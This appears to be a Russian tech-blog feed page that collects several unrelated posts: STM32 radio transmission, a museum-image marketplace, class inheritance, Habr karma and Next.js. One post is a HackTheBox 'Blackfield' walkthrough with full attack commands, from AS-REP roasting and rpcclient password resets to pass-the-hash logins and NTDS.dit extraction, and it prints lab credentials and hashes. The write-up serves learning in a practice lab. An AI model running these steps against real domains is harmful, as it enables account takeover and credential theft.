...

суббота, 3 октября 2020 г.

Передача аналогового тв сигнала с помощью STM32

Помните как некто cnlohr запустил передачу ТВ сигнала на ESP8266?

Недавно мне попалось к просмотру это видео, стало интересно как это возможно и выяснил что автор видео разогнал частоту I2S до телевизионного диапазона, а затем с помощью DMA генерировал AM сигнал. Мне захотелось повторить это, но или прошивка криво собирается, или ESP модуль оказался неподходящий. Запустить передачу телесигнала не получалось.

Затем я вспомнил что STM32 умеет выводить свой тактовый сигнал на один из пинов.

Введение


Современные микроконтроллеры могут работать на частотах в сотни МГц, они попадают в диапазон работы FM приемников и аналоговых телевизоров. Практически все они имеют возможность вывода своей тактовой частоты на один из пинов. В микроконтроллерах STM32 эта функция называется Master Clock Output.

Если выбрать источником тактирования PLL, частоту на выходе можно менять в широких пределах. Так-же выход MCO можно включить и выключить простым переключением режима пина в регистре GPIO. Это побудило меня к экспериментам над возможностями формирования радиосигналов с помощью микроконтроллера.

В наличии была отладочная плата с микроконтроллером STM32F407. Его максимальная частота ядра равна 168МГц, а максимальная частота переключения GPIO равна 84мгц.

Для начала нужно было понять на какую частоту настраивать MCO чтобы его мог поймать телевизор. Поиск привел меня на страницу с таблицей частот всех тв каналов. Наибольшую частоту ядра без превышения максимальной частоты переключения GPIO можно достичь выбрав 3 канал.
Частота ядра при этом будет равна 154.5МГц, а тактовый выход необходимо поделить на 2, чтобы получить искомые 77.25МГц.

Начало экспериментов


Чтобы долго не изучать мануалы, для генерации инициализационного кода был использован cubeMX. В нем настроил PLL на частоту 154.5МГц, вывод MCO1 сделал с источником от PLL предделителем на 2. К выводу PA8 подсоединил кусок провода.
Настройки тактирования в CubeMX


Скомпилировал проект, залил прошивку в плату и экран на телевизоре стал темным. Это означает что телевизор понимает импровизированную несущую как сигнал.

Дальше было определение насколько быстро можно включать/выключать тактовый сигнал чтобы создать подобие амплитудной модуляции. В бесконечном цикле включая и выключая тактирование с плавным уменьшением задержек удалось получить сначала горизонтальные, а затем и вертикальные полосы на кинескопе.

Результат программного управления MCO


Но как вывести на него изображение?

Использование DMA

Если осуществлять управление с помощью ядра, практически всё его время будет использовано только для переключения тактового сигнала и любое прерывание будет сбивать тайминги. Поэтому единственным способом управления осталось использовние DMA с буфером.

Чтобы не тратить ресурсы ядра на запуск DMA каждый кадр, последнее можно настроить на работу в кольцевом режиме. Для того чтобы данные переносились со строго заданной скоростью, запуск передачи нужно осуществлять по событию от таймера.

В cubeMX это выглядит так:

Настройки таймера



В ходе эксперимента выяснилось что к регистрам GPIO возможен и побайтовый доступ как самим ядром, так и через DMA, что позволило тратить всего 1 байт на пиксель:
#define GPIOA_MODER_8_11 (((uint8_t*)(&(GPIOA->MODER)))[2])
#define MCO_ON()  (GPIOA_MODER_8_11) = 2
#define MCO_OFF() (GPIOA_MODER_8_11) = 0

В начальной поставке библиотеки HAL, адресом назначения DMA является регистр таймера ARR. Пришлось написать функцию, позволяющую задать произвольный адрес назначения. Этим адресом является биты [16:23] регистра GPIOA->MODER.

Так-как DMA имеет 16 битный счетчик элементов, размер буфера ограничен в 64кб. Но можно настроить DMA на работу с двойным буфером, что позволяет увеличить количество элементов в 2 раза.


// Изначальная функция, которая принимает в качестве аргумента лишь источник данных, а назначением является регистр TIM->ARR (регистр предзагрузки)
// HAL_StatusTypeDef HAL_TIM_Base_Start_DMA(TIM_HandleTypeDef *htim, uint32_t *pData, uint16_t Length);
// Добавлен аргумент - адрес назначения данных
HAL_StatusTypeDef HAL_TIM_Base_Start_DMA(TIM_HandleTypeDef *htim, uint32_t *pData, uint32_t *pDest, uint16_t Length);
// Запуск в режиме двойного буфера
HAL_StatusTypeDef HAL_TIM_Base_Start_DMA_DoubleBuffer(TIM_HandleTypeDef *htim, uint32_t *pData, uint32_t *pData2, uint32_t *pDest, uint16_t Length);

Формирование кадра

В стандарте PAL/SECAM видеосигнал имеет частоту кадров равную 25гц и 625 строк на кадр. В случае отказа от черезстрочной развертки остается 312 строк изображения с частотой полей 50гц. При максимальном размере буфера в 128кб получится: 131072/312 = 420 «пикселей» на строку.
Значит фреймбуфер получится размером 312x410.

Чтобы телевизор понял где находится начало кадра и начало каждой строки, необходимо формировать синхроимпульсы. Поскольку в эфире сигнал передается с негативной полярностью, эти импульсы будут соответствовать максимальной амплитуде сигнала. Поскольку управление сигнала возможно лишь дискретно, для создания уровня черного используется ШИМ.

Перед запуском передачи происходит заполнение фреймбуфера синхроимпульсами, а уровень черного обеспечивается заполнением ШИМ в 25%.

Заполнение буфера кадра

// заполнение синхроимпульсами
void init_fb()
{
  // кадровый синхроимпульс находится в начале буфера,
  // чтобы прерывание конца передачи DMA (Vsync) приходилось
  // на начало обратного хода луча
  for (int i=0;i<24;i++)
    for (int j=0;j<(WIDTH);j++)
      frameBuf[i][j] = 2;
  
  // строчный синхроимпульс
  for (int i=0;i<312;i++)
    for (int j=(WIDTH - 30);j<(WIDTH);j++)
      frameBuf[i][j] = 2;
}

// приведение буфера кадра к уровню черного
void clear_fb()
{
    for (int i=24;i<312;i++)
    {
      // смещение начала строки
      int offset = (i * WIDTH);
      // ядро cortex-m4 позволяет работать с невыровненными данными,
      // 32 битный доступ позволяет ускорить работу
      uint32_t* data_ptr = (uint32_t*)(&((uint8_t*)(frameBuf))[offset]);
      // диагональные линии менее заметны на экране чем вертикальные
      uint32_t pattern = 0x02020202;
      pattern &= ~( 2 << (((i)%4)*8) );
      
      for (int j=0;j<(390);j+=4)
      {
        *(data_ptr++) = pattern;
      }
    }
}


На этом этапе записью значений в frameBuf можно формировать изображение на экране телевизора.
Графическая библиотека была портирована из демо проекта от другой платы discovery. С ее помощью можно генерировать различные графические примитивы и символы. Так-же был портирован когда-то мной написанный клон игры Space Invaders и 3D шары из проекта от ESP8266.

Результат получился следующий:

Полученный результат

По фотографиям экрана видны диагональные полосы, полученные в результате формирования «уровня черного».

Эксперименты с созданием промежуточных уровней сигнала

Что если управлять тактовым выходом не просто включая и выключая его, а менять значение регистра OSPEEDR? Этим регистром управляется крутизна фронта переключения вывода. Было интересно, возможно ли меняя его значение создать на экране телевизора больше чем 2 градации яркости.

Написал код, который в бесконечном цикле перебирает 5 вариантов:
MCO выключен через MODER
OSPEEDR = 0
OSPEEDR = 1
OSPEEDR = 2
OSPEEDR = 3

На экране появилось 4 полосы с разной яркостью. Состояние с минимальной крутизной фронтов и выключенным совсем MCO никак не отличается для телевизора.

Полосы с градациями яркости

Использование регистра OSPEED вместо MODER позволило увеличить четкость изображения.

Изображение при использовании модуляции с помощью OSPEEDR

Так-же пытался использовать I2S, но безуспешно.
Выше примерно скорости 20 Мбит/с при дальнейшем увеличении частоты тактирования интерфейса, появляется нестабильность в работе. А на «стабильных» частотах если принимать гармоники сигнала, изображение едва отличимо от шума. SPI1 может работать на частотах выше, но качество сигнала тоже остается плохим.

Видео демонстрации работы прилагаю, код на гитхабе

github.com/rus084/F4Discovery-tv-transmitter

Как насчет частотной модуляции?

В STM32 в регистре RCC_CR есть биты HSITRIM, отвечающие за подстройку частоты HSI генератора.
Если настроить PLL со входом от HSI и выходной частотой, попадающей в FM диапазон, можно получить радиосигнал, который будет приниматься FM приемником. Модуляция осуществляется изменением значения битов HSITRIM.

Доказательство работоспособности показано в этом видео. Исходники тоже прилагаются.

github.com/rus084/F4Discovery-fm-transmitter

p.s. Да, код ужасный, но как proof of concept сгодится

Let's block ads! (Why?)

Министерство культуры планирует открыть маркетплейс для продажи изображений музейных предметов

Министерство культуры РФ планирует создать интернет-магазин для продажи цифровых изображений музейных предметов. По словам ТАСС, МКРФ запустит такой сайт к 2022 году. Об этом сообщил директор Департамента информационного и цифрового развития МКРФ Вадим Ваньков (29 сентября). — Нам это интересно как политика, которую, может быть, ещё удастся переменить в сторону открытости.
Динарий кесаря!
Динарий кесаря должен быть отдан кесарю!
(Classical Numismatic Group, Wikimedia Commons, CC-BY-SA)

ТАСС приводит его слова:

«Мы хотели бы выступить с инициативой создания некой площадки, на которой все желающие могли бы легитимно взаимодействовать с музеями на предмет покупки качественных изображений и, соответственно, упрощения этого взаимодействия в дальнейшем, в цивилизованном и легальном формате».

Начиная с 2016 года, министерство активно наполняет Государственный каталог музейного фонда — сайт, доступный всем для просмотра. Сейчас там почти 23 млн предметов с описанием и изображением. Пополнение этого каталога является обязанностью всех музеев по закону.

Пользователи жалуются на неудобный поиск по сайту, на плохие и мелкие изображения, на запрет использования этих изображений.

Одновременно музеи жалуются, что Госкаталог уменьшил спрос на платное копирование изображений. Поэтому одни закрывают изображения для Госкаталога своим полупрозрачным знаком, а другие ставят предметы в невидимый режим. Например, Третьяковская галерея загрузила в Госкаталог чуть более 3700 записей, а Эрмитаж — 564 тысячи. Вероятно, ГТГ скрывает загруженные предметы, чтобы не сокращать свой рынок своих изображений.

Изо всей этой ситуации Вадим Ваньков делает вывод:

«Настало время определенной модернизации его [сайта] и развития. Как с точки зрения сервисной функции, так и с точки зрения реализации возможности приобщения к цифровой коллекции и использования в культурном обороте».

К сожалению, речь идёт только о платном обороте. Словно бы исполняются слова псковского губернатора Андрея Турчака: «Это не только возможность продвигать наш регион в целом, но и возможность заработать деньги на развитие самого музея».

Однако не всё так плохо. Некоторые российские музеи уже сегодня распространяют свои фотографии по свободной лицензии Creative Commons. Геологический музей имени Вернадского публикует изображения экспонатов по лицензии CC-BY, Тольяттинский художественный музей перевёл свой сайт на эту лицензию, то же сделал Мордовский республиканский краеведческий музей.


Текст: CC-BY-SA 3.0.

Let's block ads! (Why?)

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.
10.10.10.192    blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.19

И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2

Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt

И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt

И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null

Получим огроменный список непонятных пользователей, но самое интересное — это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support

Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'

Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192

Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R

И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192

Теперь перейдем в Windows машину и используем mimikatz.

И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d

ROOT


Давайте посмотрим группы и привилегии пользователя.

Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.

Выполним теневое копирование.

diskshadow /s ds.txt

И сдампим файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit

Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLM\SYSTEM C:\Temp\SYSTEM

Скачиваем оба файла с машины.

И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee

У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Let's block ads! (Why?)

Чиним наследование?

Сначала здесь было долгое вступление про то, как я додумался до гениальной идеи (шутка), которой и посвящена статья. Не буду тратить ваше время, вот виновник сегодняшнего торжества (осторожно, 5 строчек на JS):
function Extends(clazz) {
    return class extends clazz {
        // ...
    }
}

Поясню, как это работает. Вместо обычного наследования мы пользуемся механизмом выше. Потом мы указываем базовый класс только при создании объекта:
const Class = Extends(Base)
const object = new Class(...args)

Я постараюсь убедить вас, что это — сын маминой подруги для наследования классов и способ вернуть наследованию звание труъ-ООП инструмента (сразу после прототипного наследования, конечно).
Почти не оффтоп

Я бы даже сделал ЯП с этим приёмом как основной фичей, но, боюсь, этот pet project умрёт, как и другие мои pet project'ы. Так что пусть хотя бы будет статья, чтобы идея пошла в массы.


Договоримся об именах. У меня есть два варианта названия таких функций:
  • «Наследование от интерфейса» — по аналогии с тем, как обычно классы наследуются от классов, здесь классы наследуются от заранее неизвестного класса, который, тем не менее, должен отвечать какому-то интерфейсу.
  • «Late-bound class» — аналогично «late-bound this».

Второй вариант звучит круче, первый может запутать C++-программистов, так что дальше буду называть такие функции LBC. Если у вас есть варианты названий получше, жду их в комментариях.

«Проблемы» наследования классов


Все мы знаем, как «все» «не любят» наследование классов. Какие же у него проблемы? Давайте разберёмся и заодно поймём, как LBC их решает.

Наследование реализации нарушает инкапсуляцию


Основная задача ООП — связывать вместе данные и операции над ними (инкапсуляция). Когда один класс наследуется от другого, эта связь нарушается: данные оказываются в одном месте (родитель), операции — в другом (наследник). Более того, наследник может перегружать публичный интерфейс класса, так что ни по коду базового класса, ни по коду класса-наследника в отдельности больше нельзя сказать, что будет происходить с состоянием объекта. Т.е., классы оказываются coupled.

LBC, в свою очередь, сильно снижает coupling: от поведения какого базового класса зависеть наследнику, если базового класса в момент объявления класса-наследника просто нет? Однако, благодаря late-bound this и перегрузке методов, «Yo-yo problem» остаётся. Если вы используете наследование в своём дизайне, от неё никуда не деться, но, например, в Котлине ключевые слова open и override должны сильно облегчать ситуацию (не знаю, не слишком тесно знаком с Котлином).

Наследование лишних методов


Классический пример со списком и стеком: если наследовать стек от списка, в интерфейс стека попадут методы из интерфейса списка, которые могут нарушить инвариант стека. Не сказал бы, что это проблема наследования, потому что, например, в C++ для этого есть приватное наследование (а отдельные методы можно сделать публичными с помощью using), так что это скорее проблема отдельных языков.

Недостаток гибкости


  1. Если мы наследуемся от класса, мы наследуем всю его функциональность: мы не можем унаследовать только его часть. Однако, если вам нужно наследовать только часть класса, пора разбивать базовый класс на два: скорее всего, эта часть слабо связана с остальным поведением класса, так что cohesion только повысится. Опять же, это не проблема наследования как такового.
  2. Если в языке нет множественного наследования (и это хорошо), мы не можем наследовать реализацию нескольких классов. Кажется, в таком случае лучше вообще использовать композицию вместо наследования: если вам действительно нужна открытая рекурсия в условиях множественного наследования, мне вас искренне жаль.
  3. Использование конкретных классов ограничивает полиморфизм. Если нужно обобщить функцию над каким-то объектом, достаточно заменить тип в сигнатуре функции с класса на интерфейс. Почему нельзя сделать то же самое с наследованием, и обобщить наследуемые характеристики, что LBC и делает? Ведь в каком-то смысле класс — это просто фабрика объектов, т.е. функция.
  4. Использование конкретных классов ограничивает переиспользование кода. Если мы хотим добавить какую-нибудь фичу через наследование классов, мы можем добавить её только к какому-то одному базовому классу. С LBC, очевидно, такой проблемы больше нет.

Проблема хрупкого базового класса


Если класс наследуется от реализации другого класса, изменение этой реализации может сломать класс-наследник. В этой статье есть очень хорошая иллюстрация этой проблемы со Stack и MonitorableStack.

В LBC же программист обязан учитывать, что класс-наследник, который он пишет, должен работать не только с каким-то конкретным базовым классом, но и с другими классами, отвечающими интерфейсу базового класса.

Банан, горилла и джунгли


ООП обещает компонируемость, т.е. возможность переиспользовать отдельные объекты в разных ситуациях и даже в разных проектах. Однако если класс наследуется от другого класса, чтобы переиспользовать наследника, нужно скопировать все зависимости, базовый класс и все его зависимости, и его базовый класс…. Т.е. хотели банан, а вытащили гориллу, а потом и джунгли. Если объект был создан с учётом Dependency Inversion Principle, с зависимостями всё не так плохо — достаточно скопировать их интерфейсы. Однако с цепочкой наследования так сделать не получится.

LBC, в свою очередь, делает возможным (и обязывает) использование DIP в отношении наследования.

Прочие приятности LBC


На этом плюсы LBC не заканчиваются. Давайте посмотрим, что ещё можно сделать с их помощью.

Смерть иерархии наследования


Классы больше не зависят друг от друга: они зависят только от интерфейсов. Т.е. реализация становится листьями графа зависимостей. Это должно облегчить рефакторинг — теперь модель домена не связана с его реализацией.

Смерть абстрактных классов


Абстрактные классы теперь не нужны. Рассмотрим пример паттерна Фабричный Метод на Java, позаимствованный у refactoring guru:
interface Button {
    void render();
    void onClick();
}

abstract class Dialog {
    void renderWindow() {
        Button okButton = createButton();
        okButton.render();
    }

    abstract Button createButton();
}

Да, конечно, Фабричные методы эволюционируют в паттерны Строитель и Стратегия. Но с LBC можно сделать и так (представим на секунду, что в Java есть LBC):
interface Button {
    void render();
    void onClick();
}

interface ButtonFactory {
    Button createButton();
}

class Dialog extends ButtonFactory {
    void renderWindow() {
        Button okButton = createButton();
        okButton.render();
    }
}

Такой трюк можно провернуть с почти любым абстрактным классом. Пример, когда это не сработает:
abstract class Abstract {
    void method() {
        abstractMethod();
    }

    abstract void abstractMethod();
}

class Concrete extends Abstract {
    private encapsulated = new Encapsulated();

    @Override
    void method() {
        encapsulated.method();
        super.method();
    }

    void abstractMethod() {
        encapsulated.otherMethod();
    }
}

Здесь поле encapsulated нужно и в перегрузке method, и в реализации abstractMethod. То есть, без нарушения инкапсуляции класс Concrete нельзя разделить на потомка Abstract и на «суперкласс» Abstract. Но я не уверен, что это — пример хорошего дизайна.

Гибкость, сравнимая с типажами


Внимательный читатель заметит, что всё это очень похоже на типажи из Smalltalk / Rust. Отличий два:
  1. Экземпляры LBC могут содержать данные, которых не было в базовом классе;
  2. LBC не модифицируют класс, от которого наследуются: чтобы использовать функциональность LBC, нужно явно создать объект LBC, а не базового класса.

Второе отличие приводит к тому, что, скажем так, LBC действуют локально, в отличие от типажей, действующих на все экземпляры базового класса. Насколько это удобно — зависит от программиста и от проекта, не стану утверждать, что моё решение однозначно лучше.

Эти отличия приближают LBC к обычному наследованию, так что эта штука мне представляется забавным компромиссом между наследованием и типажами.

Минусы LBC


Ох, если бы всё было так просто. У LBC точно есть одна небольшая проблема и один жирный минус.

Взрыв интерфейсов


Если наследоваться можно только от интерфейса, очевидно, интерфейсов в проекте станет больше. Конечно, если в проекте соблюдается DIP, ещё несколько интерфейсов погоды не сделают, но далеко не все следуют SOLID. Эту проблему можно решить, если на основе каждого класса будет генерироваться интерфейс, содержащий все публичные методы, и при упоминании имени класса различать, имеется в виду класс как фабрика объектов или как интерфейс. Что-то похожее сделано в TypeScript, но там почему-то в сгенерированном интерфейсе упомянуты и приватные поля и методы.

Сложные конструкторы


Если использовать LBC, самой сложной задачей станет создать объект. Рассмотрим два варианта в зависимости от того, включен ли конструктор в интерфейс базового класса:
  1. Если конструктор не включён в интерфейс, мы не можем его перегружать, только расширять. Например, при использовании в базовом классе паттерна Стратегия мы не сможем в классе-наследнике подменить стратегию своим Декоратором. Тем более не понятно, в каком порядке нужно будет передавать аргументы в конструктор.
  2. Если конструктор включён в интерфейс, мы рискуем сильно ограничить множество подходящих базовых классов. Например:
    interface Base {
        new(values: Array<int>)
    }
    
    class Subclass extends Base {
        // ...
    }
    
    class DoesntFit {
        new(values: Array<int>, mode: Mode) {
            // ...
        }
    }
    

    Класс DoesntFit не подходит в качестве базового для Subclass, но два аргумента его конструктора не связаны каким-то инвариантом. Так что Subclass можно было бы использовать в качестве наследника DoesntFit, не будь интерфейс Base таким ограниченным.
  3. На самом деле, есть ещё один вариант — передавать в конструктор не список аргументов, а словарь. Это решает проблему выше, потому что { values: Array<int>, mode: Mode } очевидно подходит под шаблон { values: Array<int> }, но это приводит к непредсказуемой коллизии имён в таком словаре: например, и суперкласс A, и наследник B используют одинаково называющиеся параметры, но это имя не указано в интерфейсе базового класса для B.

Вместо заключения


Я уверен, что пропустил какие-то аспекты этой идеи. Либо то, что это уже дикий баян и лет двадцать назад был язык, использующий эту идею. В любом случае, жду вас в комментариях!

Список источников


neethack.com/2017/04/Why-inheritance-is-bad
www.infoworld.com/article/2073649/why-extends-is-evil.html
www.yegor256.com/2016/09/13/inheritance-is-procedural.html
refactoring.guru/ru/design-patterns/factory-method/java/example
scg.unibe.ch/archive/papers/Scha03aTraits.pdf

Let's block ads! (Why?)

Коллеги, вы и меня огорчаете. Тоже

Интригующее название — существенная часть успеха статьи. Именно оно заставляет читателя потратить свое драгоценное время на твой труд. Но нужно быть осторожным. Добившись доверия, можно “жестоко” поплатиться не удовлетворив качеством чтива.

Недавно вышла статья “Коллеги, вы меня огорчаете”. Она имела логичный результат. Сама статья набирает плюсы, а вот карма автора балансирует на нуле. Смею заверить, это не кармонытье. Индексы взяты для демонстрации.

Статья спорная. Она задевает каждого своей откровенностью. Можно сказать даже нахальством — он посмел давать оценку мне! МНЕ! Дополняет хайп-антураж фото автора. Надеюсь я не ошибаюсь, что это он.

Сама статья вполне аккуратная. Структурированная. Внятно и последовательно доносится мысль, что все тут такие себе специалисты, потому, что не могут ответить на базовые вопросы. И знаете… спорить с этим сложно.

Да, оправданий своего незнания масса. Причины объективны. Ты утопаешь в типовых задачах. Функционируешь на шаблонах. Так работает мозг. Это должны учитывать те кто проводит собеседования. Логично, что ты не можешь ответить на базовые вопросы без подсказки.

Но когда ты идешь на собеседование, необходимо быть готовым к таким вопросам. Почему? Ну потому, что ты идешь на собеседование Golang разработчика, а не разработчика поискового движка, который ты пилил последний год. Ты идешь “продавать” себя, а не свои шаблоны.

Конечно, опыт разработчика может произвести впечатление на работодателя своей высокой релевантностью. Ну например, так вышло, что новый работодатель пилит, внезапно, поисковый движок. И тут ты весь в белом и на коне. Но чаще, работодатель ищет человека, способного решать его задачи. И базовые “штуки” становятся основой вашего диалога.

Как видно, есть две стороны медали. У автора статьи явная профдеформация. Можно сказать, что ему пора самому на собеседования походить. Это сильно помогает не отрываться от реалий.

Но за декорациями мысли автора скрывается суть. И она гораздо интереснее. Именно по этой причине я решил написать данную статью. У меня тоже “бомбит”.

Статья указанного автора, вполне логично, заканчивается рекламой. Т.е. ее задача — хайп, манипуляция. Попытка поднять острый вопрос, привлечь внимание и продать… И это работает. Уверен, что карма тут расходник. Отдаю должное автору, если он искренне верит в то, что в статье написано. Плохо, если это целенаправленный вброс и чистый маркетинг.

Почему я имею такое мнение? Дело в том, что я поставил ряд экспериментов на Хабре. Их результаты меня расстроили.

Примерно года три назад, я начал делать свою IoT платформу. Я вложил в нее много сил и опыта. Точнее даже так: мы с ней равно друг в друга вложили. Разрабатывая ее я потратил время, а она научила меня крутым штукам, которые пополнили мое резюме. Сделали меня дороже.

И вот, через год, я решил познакомить мир с результатом своей работы. Нет, я не предполагал, что все падут ниц и признают во мне воскресший Дух Джобса. Я рассчитывал на профессиональную дискуссию. Рассчитывал искренне…

Т.к. я собирался пиарить свою платформу, пусть и OpenSource, я решил, что должен это делать в хабе “Я пиарюсь”. Чтобы там запостить статью, нужно иметь карму не ниже 20. Насколько я помню. А у меня она была ~15. Что делать? Очевидно — писать статью для набора кармы.

Я потратил около дня чтобы проанализировать статьи, которые пользуются популярностью. И вот мой хит-лист:


  • Никаких нужных/сложных вещей. Писать требуется легкий текст. Короткие предложения;
  • Твоя статья должна идти по классическому сценарию голливуда: все было хорошо; затем настали сложные времена; но ты все преодолел; жизнь тебя многому научила, у тебя есть девушка и тобой гордится мама..
  • Картинки с котиками.

Не верите? Проведите свой анализ. А у меня родилась статья “Pet-проекты — маленькая жизнь”. Она “внезапно” набрала 80 очков! И принесла мне +10 к карме. Бинго! Я смог запостить целевую статью. Ту, ради которой трудился год.

А теперь, внимание! На статью по своей платформе я потратил 3 недели. А на статью, чтобы опубликовать эту статью не более 4х часов.

Поговорим о результате целевой статьи? 24 очка. И это еще потому, что там есть видео, танцы, котики и т.д.

Вторая статья вышла через год. После первой статьи мне давали советы как быть более успешным. Основная мысль — сделай прикладную штуку, а то ничего не понятно. Я учел рекомендации. И… новый рекорд — 5 очков! И фсе… и я подумал почему? Почему первая 24 очка, вторая 5 очков?

Так вот… потому, что первую статью я пропиарил через свою статью про рыбок! Люди явно переходили на статью про платформу и ставили лайки впечатлившись именно статьей про рыбок!

Теперь по закону жанра, я должен вынести суровые уроки жизни. Изложить, как “это вот все” изменило меня к лучшему.

Никак. К сожалению, опыт показывает, что именно “маркетинг” определяет успех твоего начинания. И эта статья, к слову, ровно тот же инструмент. Она проезжается на хайповой теме. Не верите, что это работает? Опять?

Еще эксперимент. Вот оригинальная статья “Вред хранимых процедур”. А вот моя, когда я “проехался” на хайпе “Скулятчер”. Посмотрите на оценку статей.

Сложно спорить с фактами. А факты говорят о поверхностном восприятии контента на Хабре. Да, Хабр уже не тот. Но почему обязательно должен был умереть “тот” Хабр, чтобы появился этот? Где та площадка, на которой можно поспорить о своих проектах? Где я мог бы найти уважающих мой труд специалистов? Почему я прихожу на Хабр веселить публику, когда у меня совсем другие цели и профессиональный профиль? Почему я должен заниматься маркетингом?

И именно это лично меня бомбит. Заставляет говорить — "Коллеги, вы меня огорчаете. Тоже." Невольно вставать на сторону “бородатого парня” с обложки Хабра. А я не хочу!!!

Но если вы мне поможете открыть иную правду — я готов. Искренне буду рад жестоко ошибаться в своих выводах.


  • Хабр помог моей первой статье. Он вытащил ее из топика “Я пиарюсь” и разместил в более просматриваемых. За что ему огромное спасибо! И за вторую статью, конечно, тоже.
  • Я и раньше пытался сделать “мир чуть лучше” и продолжу пытаться.
  • Хабр, при всех его минусах научил меня многому. Поэтому, я не считаю плохим рождение нового Хабро-Торта. Но старый был с малинкой, а этот с клубничкой. Мне малинка больше нравится.

Let's block ads! (Why?)

[Перевод] Почему я выбрал Next.js, а не Gatsby, Gridsome или Nuxt?

Мы, выбирая фреймворк для нового веб-проекта, обычно склонны останавливаться на инструментах, с которыми знакомы, не обращая внимания на то, насколько хорошо они подходят для этого проекта. Я же пробую поступать с точностью до наоборот. Всякий раз, когда у меня возникает такая возможность, я испытываю новые технологии. Что я узнал после таких экспериментов? Почему я, в итоге, считаю своим стандартным инструментом для создания статических сайтов (static site generator, SSG) Next.js?

В этом материале я расскажу о том, как я экспериментировал с разными веб-технологиями. Речь пойдёт о поиске подходящего инструмента в рамках Jamstack, о том, как выбирать именно то, что подойдёт разработчику и хорошо интегрируется в его проект, о том, почему я выбрал Next.js.

О моём опыте в сфере веб-разработки


Я начал свой путь в веб-разработке с PHP и MySQL, а потом, когда учился в университете, перешёл на платформу .NET. Мне нравились типобезопасность, модель MVC, возможности отладки кода. Так всё и было, я продолжил пользоваться .NET и в дальнейшем, занимаясь программированием и консультированием. Но я постепенно переходил на JavaScript, и, в частности, на ранние версии Angular.

